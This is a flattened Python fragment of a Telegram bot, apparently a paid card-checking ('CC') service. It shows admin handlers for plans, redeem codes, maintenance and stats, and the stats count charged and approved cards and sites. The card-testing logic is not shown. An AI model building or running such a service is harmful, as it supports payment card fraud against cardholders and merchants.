@client.on(events.NewMessage(pattern=r'(?i)^[/.](maintenance|maintance)\s+(on|off)$')) async def maint_toggle(event): if event.sender_id not in ADMIN_ID: return a = event.raw_text.lower().split()[1] await set_maintenance_mode(a == "on") await styled_reply(event, f"{PE} {bs('Maintenance')} {bs('On') if a == 'on' else bs('Off')}", emoji_ids=[CE["stop"] if a == "on" else CE["check"]]) async def _handle_plan_assign(event, plan_key): if event.sender_id not in ADMIN_ID: return parts = event.raw_text.split() if len(parts) < 2: return await styled_reply(event, f"{PE} /{plan_key} user_id", emoji_ids=[CE["warn"]]) try: target_uid = int(parts[1]) except: return await styled_reply(event, f"{PE} {bs('Invalid ID')}", emoji_ids=[CE["cross"]]) pi = PLANS[plan_key] try: target_entity = await client_instance.get_entity(target_uid); target_name = getattr(target_entity, 'first_name', None) or "Unknown" except: target_name = "Unknown" await ensure_user(target_uid) current_plan = await get_user_plan(target_uid); is_upgrade = is_paid_plan(current_plan) await set_user_plan(target_uid, pi["tier"], pi["duration_days"]) expiry_date = (datetime.now() + timedelta(days=pi["duration_days"])).strftime('%Y-%m-%d %H:%M:%S') await styled_reply(event, f"""โœ… {bs('Plan Updated')}\nโŠ€ {bs('User')} โ†ฌ {target_name}\nโŠ€ {bs('Plan')} โ†ฌ {pi['emoji']} {pi['name']}\nโŠ€ {bs('Duration')} โ†ฌ {pi['duration_days']} {bs('days')}\nโŠ€ {bs('Expires')} โ†ฌ {expiry_date}""") try: await styled_send(target_uid, f"""๐ŸŽ‰ {bs('Plan Upgraded!')} ๐ŸŽ‰\n{pi['emoji']} {pi['name']} โ” {pi['duration_days']}d\n{bs('Limit')}: {get_cc_limit(pi['tier'])} CCs\n{bs('Expires')}: {expiry_date}""") except: pass try: receipt_id = f"CARDX-{''.join(random.choices(string.ascii_uppercase + string.digits, k=8))}" lt = f"{bs('Plan RENEWED')} ๐Ÿ”„" if is_upgrade else f"{bs('New Plan')} ๐Ÿ›’" await styled_send(LOG_CHANNEL_ID, f"{lt}\n{target_name} โ” {pi['emoji']}{pi['name']} โ” {pi['price']} โ” {receipt_id}") except: pass @client.on(events.NewMessage(pattern=r'(?i)^[/.]plan1\b')) async def plan1_cmd(event): await _handle_plan_assign(event, "plan1") @client.on(events.NewMessage(pattern=r'(?i)^[/.]plan2\b')) async def plan2_cmd(event): await _handle_plan_assign(event, "plan2") @client.on(events.NewMessage(pattern=r'(?i)^[/.]plan3\b')) async def plan3_cmd(event): await _handle_plan_assign(event, "plan3") @client.on(events.NewMessage(pattern=r'(?i)^[/.]plan4\b')) async def plan4_cmd(event): await _handle_plan_assign(event, "plan4") @client.on(events.NewMessage(pattern=r'(?i)^[/.]rplan\b')) async def rplan_cmd(event): if event.sender_id not in ADMIN_ID: return parts = event.raw_text.split() if len(parts) < 2: return await styled_reply(event, f"{PE} /rplan user_id", emoji_ids=[CE["warn"]]) try: target_uid = int(parts[1]) except: return await styled_reply(event, f"{PE} {bs('Invalid')}", emoji_ids=[CE["cross"]]) await ensure_user(target_uid) cp = await get_user_plan(target_uid) if not is_paid_plan(cp): return await styled_reply(event, f"{PE} {bs('No active plan')}", emoji_ids=[CE["cross"]]) try: ent = await client_instance.get_entity(target_uid); tn = getattr(ent, 'first_name', None) or "?" except: tn = "?" await set_user_plan(target_uid, "Bronze", 0) await styled_reply(event, f"{PE} {bs('Revoked')} {cp} from {tn}", emoji_ids=[CE["check"]]) try: await styled_send(target_uid, f"{PE} {bs('Your plan has been ended. Contact admin to renew.')}", emoji_ids=[CE["warn"]]) except: pass @client.on(events.NewMessage(pattern=r'(?i)^[/.]planall$')) async def planall_cmd(event): if event.sender_id not in ADMIN_ID: return all_users = [] for tier in PAID_TIERS: async for u in db["users"].find({"plan": tier}): all_users.append(u) if not all_users: return await styled_reply(event, f"{PE} {bs('No active plans')}", emoji_ids=[CE["warn"]]) fn = f"plans_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" content = f"ACTIVE PLANS ({len(all_users)})\n{'='*40}\n" for u in all_users: uid2 = u.get("user_id", "?"); tier = u.get("plan", "?") exp = u.get("expiry"); es = exp.strftime('%Y-%m-%d') if exp else "?" try: ent = await client_instance.get_entity(uid2); un = getattr(ent, 'first_name', None) or "?" except: un = "?" content += f"{un} | {uid2} | {tier} | {es}\n" async with aiofiles.open(fn, 'w') as f: await f.write(content) try: await styled_send(event.chat_id, f"{PE} {bs('Plans')} ({len(all_users)})", emoji_ids=[CE["fire"]], file=fn) except: pass try: os.remove(fn) except: pass @client.on(events.NewMessage(pattern=r'(?i)^[/.]stats$')) async def stats_cmd(event): if event.sender_id not in ADMIN_ID: return try: tu = await get_total_users(); pu = await get_premium_count() ts2 = await get_total_sites_count(); tc = await get_total_cards_count() ch = await get_charged_count(); ap = await get_approved_count() await styled_reply(event, f"""{PE} {bs('Stats')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('Users')}: {tu} | {bs('Premium')}: {pu} {PE} {bs('Sites')}: {ts2} | {bs('Cards')}: {tc} {PE} {bs('Charged')}: {ch} | {bs('Approved')}: {ap} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('MSP Active')}: {len(ACTIVE_MTXT_PROCESSES)} ({MSP_PER_USER_WORKERS}w) {PE} {bs('MRZ Active')}: {len(ACTIVE_MRZ_PROCESSES)} ({MRZ_PER_USER_WORKERS}w)""", emoji_ids=[CE["fire"], CE["fire"], CE["chart"], CE["link"], CE["gem"], CE["brain"], CE["shield"]]) except Exception as e: await styled_reply(event, f"{PE} {bs('Error')}: {e}", emoji_ids=[CE["cross"]]) # ====================== MAIN ====================== async def main(): global client_instance client_instance = client log_system("BOOT", "Initializing database...") await init_db() while True: try: log_system("BOOT", "Starting bot...") await client.start(bot_token=BOT_TOKEN) log_system("BOOT", "โœ… Bot Started!") await client.run_until_disconnected() except FloodWaitError as e: log_system("FLOOD", f"Sleeping {e.seconds+5}s", "warning") await asyncio.sleep(e.seconds + 5) except Exception as e: log_system("CRASH", f"{e}", "error") await asyncio.sleep(10) # ====================== /gen ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.](gen)(.*)$')) async def gen_codes(event): if event.sender_id not in ADMIN_ID: return await styled_reply(event, "โŒ Admin only command!") args = event.pattern_match.group(2).strip().split() if len(args) < 2: return await styled_reply(event, ( "โŒ Usage: /gen [days] [amount]\n\n" "๐Ÿ“‹ Days โ†’ Plan:\n" "๐Ÿ› ๏ธ 7 โ†’ Core Access\n" "๐Ÿ‘‘ 15 โ†’ Elite Access\n" "โญ 30 โ†’ Root Access\n" "๐Ÿ’Ž 90 โ†’ X-Access" )) try: days = int(args[0]) amount = int(args[1]) except Exception: return await styled_reply(event, "โŒ Days aur amount number hone chahiye!") if amount < 1: return await styled_reply(event, "โŒ Amount kam se kam 1 hona chahiye!") if amount > 50: return await styled_reply(event, "โŒ Max 50 codes at a time!") if days <= 7: plan_key = "plan1" elif days <= 15: plan_key = "plan2" elif days <= 30: plan_key = "plan3" elif days <= 90: plan_key = "plan4" else: return await styled_reply(event, "โŒ Max 90 days!\n\n7, 15, 30, ya 90 use karo!") import random, string plan = PLANS[plan_key] codes = [] for _ in range(amount): code = plan["tier"].upper() + "_" + "".join(random.choices(string.ascii_uppercase + string.digits, k=8)) codes.append(code) await db["keys"].insert_one({ "key": code, "plan": plan_key, "tier": plan["tier"], "duration_days": plan["duration_days"], "used": False, "created_at": __import__("datetime").datetime.utcnow() }) codes_text = "\n".join([f"{c}" for c in codes]) text = ( f"๐ŸŽซ Generated {amount} {plan['emoji']} {plan['name']} Codes\n\n" f"โฑ๏ธ Duration: {plan['duration_days']} days\n" f"๐Ÿ’ฐ Price: {plan['price']}\n\n" f"{codes_text}" ) await styled_reply(event, text) # ====================== /redeem ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.](redeem)(.*)$')) async def redeem_code_cmd(event): import datetime as dt uid = event.sender_id args = event.pattern_match.group(2).strip() if not args: return await styled_reply(event, "โŒ Usage: /redeem CODE") code = args.strip().upper() key_doc = await db["keys"].find_one({"key": code}) if not key_doc: return await styled_reply(event, ( "โŒ INVALID CODE โŒ\n\n" "โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n\n" "๐ŸŒ The code you entered is invalid or expired.\n" "โšก Check the code and try again" )) if key_doc.get("used"): return await styled_reply(event, ( "โŒ CODE ALREADY USED โŒ\n\n" "โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n\n" "๐ŸŒ This code has already been redeemed.\n" "โšก Each code can only be used once" )) plan_key = key_doc.get("plan", "plan1") plan = PLANS.get(plan_key, PLANS["plan1"]) duration_days = key_doc.get("duration_days", plan["duration_days"]) expiry = dt.datetime.utcnow() + dt.timedelta(days=duration_days) await db["users"].update_one( {"user_id": uid}, {"$set": { "plan": plan["tier"], "expiry": expiry, "updated_at": dt.datetime.utcnow() }}, upsert=True ) await db["keys"].update_one( {"key": code}, {"$set": {"used": True, "used_by": uid, "used_at": dt.datetime.utcnow()}} ) await styled_reply(event, ( f"๐ŸŽ‰ CODE REDEEMED SUCCESSFULLY! ๐ŸŽ‰\n\n" f"โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n\n" f"{plan['emoji']} {plan['name']}\n\n" f"โฑ๏ธ Duration: {duration_days} days\n" f"๐Ÿ“… Expires: {expiry.strftime('%Y-%m-%d %H:%M:%S')}\n\n" f"๐ŸŽ Use /info to see your plan" )) if __name__ == "__main__": asyncio.run(main())